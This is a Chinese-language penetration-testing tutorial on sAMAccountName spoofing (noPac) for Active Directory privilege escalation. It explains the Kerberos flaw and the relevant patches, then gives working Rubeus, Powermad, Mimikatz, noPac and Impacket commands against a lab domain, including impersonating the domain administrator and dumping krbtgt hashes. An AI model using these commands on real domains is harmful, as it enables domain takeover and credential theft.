干貨分享 | 域內提權之sAMAccountName欺騙
文章前言
與標準用戶帳戶相比計算機帳戶的名稱末尾附加了$符號,默認情況下Microsoft操作系統缺乏可以防止許多攻擊的安全控制和強化措施,此外多年來已經證明Windows生態系統中許多事物工作方式可以通過利用現有功能和工作流程來實現濫用
具體來說,活動目錄中的每個帳戶在sAMAccountName屬性中都有自己的名稱,但是由于沒有控制導致可以任意使用,因此任何擁有控制權和對象(即機器帳戶)的用戶都可以修改此值,該修改的目的可能導致模擬域上的其他帳戶,例如域控制器計算機帳戶,Charlie Clark是第一個通過發布詳細文章說明如何將這些漏洞武器化的人
在請求服務票證之前需要首先簽發票證授予票證(TGT),當為密鑰分發中心 (KDC)中不存在的帳戶請求服務票證時,密鑰分發中心將跟進在該帳戶上附加 $符號的搜索,將此行為與對sAMAccountName屬性缺乏控制相結合,紅隊操作員可以利用它進行域權限提升,具體來說,可以請求域控制器帳戶的票證授予票證,并且在任何服務票證請求之前恢復sAMAccountName屬性值將強制KDC搜索域控制器的機器帳戶并發出提升的服務票證代表域管理員
為了正確利用這種攻擊進行域升級,用戶需要擁有計算機帳戶的權限才能修改sAMAccountName和servicePrincipalName屬性,可以創建機器帳戶的用戶具有修改這些屬性所需的權限,默認情況下,域用戶的機器帳戶配額設置為 10,這允許用戶在域上創建機器帳戶,或者可以從作為機器帳戶所有者的帳戶的角度進行此攻擊,通過sAMAccountName模擬執行域升級包括以下步驟
- 創建機器帳戶
- 清除servicePrincipalName屬性
- 修改機器賬戶的sAMAccountName屬性指向不帶$符號的域控制器名稱
- 為域控制器帳戶請求TGT
- 將sAMAccountName屬性恢復為其原始值或任何其他值
- 使用S4U2self方法請求服務票證
- 代表域管理員帳戶接收服務票證
下圖說明了sAMAccountName模擬技術的步驟:

漏洞發現
Microsoft已發布補丁以防止成功利用,但是在許多情況下補丁沒有按時應用,這會產生一個可以在紅隊評估期間利用該技術的時間段,該技術的先決條件如下
- 缺少KB5008380和KB5008602安全補丁的域控制器
- 有效的域用戶帳戶
- 機器帳號配額大于0
需要訪問內部網絡,因此假設低權限帳戶已被盜用,如上所述,機器帳戶配額默認為10,因此唯一的要求是確定是否已應用補丁,這是微不足道的,可以通過為域用戶帳戶請求沒有PAC的票證授予票證并觀察base64票證大小(與使用PAC簽發的票證相比更小)來實現,Rubeus可以與/nopac開關一起使用,為一個已知憑據的域帳戶請求TGT
Rubeus.exe asktgt /user:pentestlab /password:Password1234 /domain:purple.lab /dc:dc.purple.lab /nopac /nowrap

查看票證大小可以理解域控制器很容易受到攻擊,因為PAC還沒有收到票證

或者可以使用noPac C#工具檢索網絡上所有可用域控制器的TGT票證,該工具基于Rubeus,因為它使用庫Rubeus.lib.Interop.LUID來獲取票證,票證大小可以確定KDC是否在沒有PAC的情況下簽發了票證
noPAC.exe scan -domain purple.lab -user pentestlab -pass Password1234

如果從PowerShell控制臺執行操作,Shitsecure開發了一個PowerShell腳本Invoke-noPac,它將.NET 程序集noPac嵌入到base64中,由于該工具實際上是noPac,因此可以使用相同的參數來檢索票證
Import-Module .\Invoke-noPAC.ps1 Invoke-noPAC -command "scan -domain purple.lab -user pentestlab -pass Password1234"

手動檢索
有各種工具和腳本可以自動化來自域和非域加入系統的技術,然而在深入自動化之前,重要的是要了解如何使用現有的工具集手動執行這種攻擊,在活動目錄中創建機器帳戶對于紅隊操作來說并不新鮮,因為它也可以在基于資源的約束委派期間使用,Kevin Robertson開發了一個名為Powermad的 PowerShell模塊,該模塊具有可以在域上創建機器帳戶的功能
New-MachineAccount -MachineAccount "PentestLab" -Domain "purple.lab" -DomainController "dc.purple.lab"

使用PowerSploit的Set-DomainObject從已創建的機器帳戶中刪除服務主體名稱值是微不足道的
Set-DomainObject "CN=PentestLab,CN=Computers,DC=purple,DC=lab" -Clear "serviceprincipalname"

通過執行以下命令也可以從Powermad和SetMachineAccountAttribute 函數中修改sAMAccountName屬性值以指向域控制器主機名:
Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "dc" -Attribute "samaccountname"

查看活動目錄中的屬性,可以看出新機器帳戶的值現在指向dc,因此該帳戶可以模擬域控制器

可以通過查詢域控制器來驗證sAMAccountName屬性是否被修改,PowerSploit中的GetDomainComputer函數可以枚舉域中機器帳戶的屬性
Get-DomainComputer "CN=Pentestlab,CN=Computers,DC=purple,DC=lab" -Domain purple.lab -Server dc.purple.lab | select samaccountname

對于涉及Kerberos的操作,Rubeus是標準工具,由于sam帳戶名稱已更改,因此可以從標準用戶的上下文中為dc帳戶請求票證授予票證
.\Rubeus.exe asktgt /user:"dc" /password:"Password123" /domain:"purple.lab" /dc:"dc.purple.lab" /nowrap

sam帳戶名稱屬性需要恢復到其原始值或任何其他值,否則將不會發出服務票證
Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "PentestLab$" -Attribute samaccountname

由于TGT已存儲在內存中,因此可以使用S4U2self kerberos擴展代表域管理員請求服務票證,由于原始票據屬于dc用戶,但由于sam帳戶名稱已被重命名,因此Kerberos將查找dc$,它是一個有效的機器帳戶,并將為所請求的服務簽發票據
./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/dc.purple.lab" /dc:"dc.purple.lab" /ptt /ticket:[Base64 TGT]

可以從現有會話中執行Mimikatz,以便使用DCSync技術轉儲krbtgt帳戶的哈希,以創建黃金票
lsadump::dcsync /domain:purple.lab /kdc:dc.purple.lab /user:krbtgt

自動化實現
可以使用由Cube0x0開發的C#工具noPac直接從內存中自動復制 sAMAccountName欺騙的步驟,執行以下命令將創建一個具有指定密碼的機器帳戶,并獲得cifs服務的服務票證,該票證將被傳遞到內存中
noPac.exe -domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlaboratories /mPassword Password123 /service cifs /ptt

以下命令將驗證域升級,因為標準用戶可以枚舉域控制器上C$文件夾的內容
dir \\dc.purple.lab\c$

同樣如果初始植入是基于PowerShell的,則可以從Invoke-noPac腳本中使用相同的命令行參數,正如上面已經提到的它實際上是noPac C#工具的包裝器
Invoke-noPac -command "-domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlab /mPassword Password123 /service cifs /ptt"

訪問域控制器的C$文件夾將驗證緩存到內存中的服務票證是否已提升
dir \\dc.purple.lab\c$

非域內主機
該技術的相同原理可以應用于未連接到域的系統,Hossam Hamed發布了一個名為sam the admin的python腳本來模擬攻擊,最初腳本將嘗試枚舉屬性ms-DS-MachineAccountQuota ,以確定是否可以在域中添加新計算機,然后將使用隨機密碼創建一個機器帳戶,新計算機帳戶的sAMAccountName 屬性將被修改為包含域控制器計算機帳戶的值,將請求提升票證并將其保存到緩存中,最后sAMAccountName的原始值”屬性將被恢復,并使用緩存的票證,將使用Impacket套件中的smbexec建立與域控制器的會話
python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -shell

該腳本包含一個標志,可用于轉儲域哈希,因為在后臺使用secretsdump
python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -dump

這些哈希可用于離線破解,以識別任何使用中的弱密碼,并確定客戶端的密碼策略是否足夠,是否符合行業標準或需要進一步評估,由于krbtgt帳戶的哈希是可見的,因此可以為域持久性創建黃金票

Oliver Lyak發布了一個類似的python腳本,它既可以用于掃描域控制器以識別易受攻擊的主機,也可以用于檢索票證授予服務票證
python3 pachine.py -dc-host dc.purple.lab -scan 'purple.lab/pentestlab:Password1234'

對易受攻擊的域控制器執行以下命令將創建一個具有隨機密碼的機器帳戶,以獲得票證授予票證,然后機器帳戶名稱將重命名并使用S4U2self為屬于域管理員組的管理員用戶檢索并保存在本地的服務票證
python3 pachine.py -dc-host dc.purple.lab -spn cifs/dc.purple.lab -impersonate administrator 'purple.lab/pentestlab:Password1234'

可以使用export KRB5CCNAME和存儲票證的路徑將票證導入Kerberos緩存,由于票證現在是從當前控制臺導入的,因此Impacket psexec可以與 Kerberos身份驗證一起使用,以便訪問域控制器
export KRB5CCNAME=administrator@purple.lab.ccache impacket-psexec -k -no-pass 'purple.lab/administrator@dc.purple.lab'

這種技術的實現也可以通過一個基于名為noPac的 Python 腳本sam the admin的工具來實現,掃描程序腳本將枚舉ms-DS-MachineAccountQuota 屬性并將從所有可用的域控制器獲取票證授予票證,工單大小也將顯示在控制臺中,以便快速識別易受攻擊的目標,在下面的示例中與發出帶有PAC的票證的主機10.0.0.1相比,在沒有PAC的情況下收到的兩張票證相對較小
python3 scanner.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1

此腳本可以根據活動使用各種參數執行,指定域用戶的憑據和域控制器的IP 地址將實施攻擊,直到檢索到提升的票證
python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1


附加-shell和-impersonate標志將在域控制器上建立會話
python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc -shell --impersonate administrator

類似地- dump標志可用于從NTDS.DIT機密中檢索域用戶的哈希值,由于已經通過Kerberos票證實現了域管理員訪問,因此獲取krbtgt帳戶的哈希將是建立域持久性的合乎邏輯的下一步
python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc --impersonate administrator -dump -just-dc-user purple/krbtgt
